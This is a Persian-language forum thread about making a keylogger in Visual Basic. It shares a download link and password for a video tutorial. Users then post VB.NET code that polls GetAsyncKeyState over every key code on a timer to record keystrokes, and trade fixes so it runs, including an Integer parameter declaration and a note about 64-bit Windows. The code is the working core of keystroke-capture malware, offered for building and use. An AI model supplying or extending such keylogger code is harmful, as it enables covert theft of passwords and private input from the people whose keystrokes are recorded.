بچه ها یه فیلم جدید پیدا کردم که این فیلم به شما آموزش میده چطوری با ویژوال بیسیک 2008 یک کیلاگر بسازید البته انگلیسی هست ولی قابل فهمه و اگر هم مشکلی داشتید من در خدمت
http://www.4-afg.com/?p=1215
دانلود فیلم آموزشی ساختن کیلاگر با ویژوال بیسیک ۲۰۰۸
حجم :۵ مگا بایت
نوع فایل :FLV زیپ شده
پسورد فایل :
www.4-afg.com
منبع :
www.4-afg.com
ساری پسورد انجوریه
www.4-afg.com بدون http://
با ویژوال بیسیک ۲۰۰۸ ?
:d
سلام.
چه روشیه؟ هوکه یا GetAsyncKeyState?
چرا من توی 2005 هرچی میزنم نمیشه ، هیچی نمیاد من این کد رو میزنم
کد:
Public Class Form1
Dim result, i As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
'result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
End Class
ویژال بیسیک 2008 بسم الله تا حالا نشنیده بودم جلل خالق تکنولوژی داره روز به روز پیشرفت میـــــــــکنه خدا رو شکر !!!!
مشکل من در ویندوز 64 بیت بود چون از ویندوز 7 64bit استفاده می کردم این تابع جواب نمی داد
و یک مشکل دیگه که بعدا ایجاد شد (در ویندوز xp ) این بود که باید باید vkey از نوع integer معرفی می شد به شکل زید
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Integer
امیدوارم شما هم بتونید از این استفاده کنید و به مشکل نخورید